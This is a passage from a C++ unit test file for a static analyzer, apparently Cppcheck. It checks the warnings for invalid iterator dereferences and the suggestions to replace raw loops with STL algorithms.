v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n 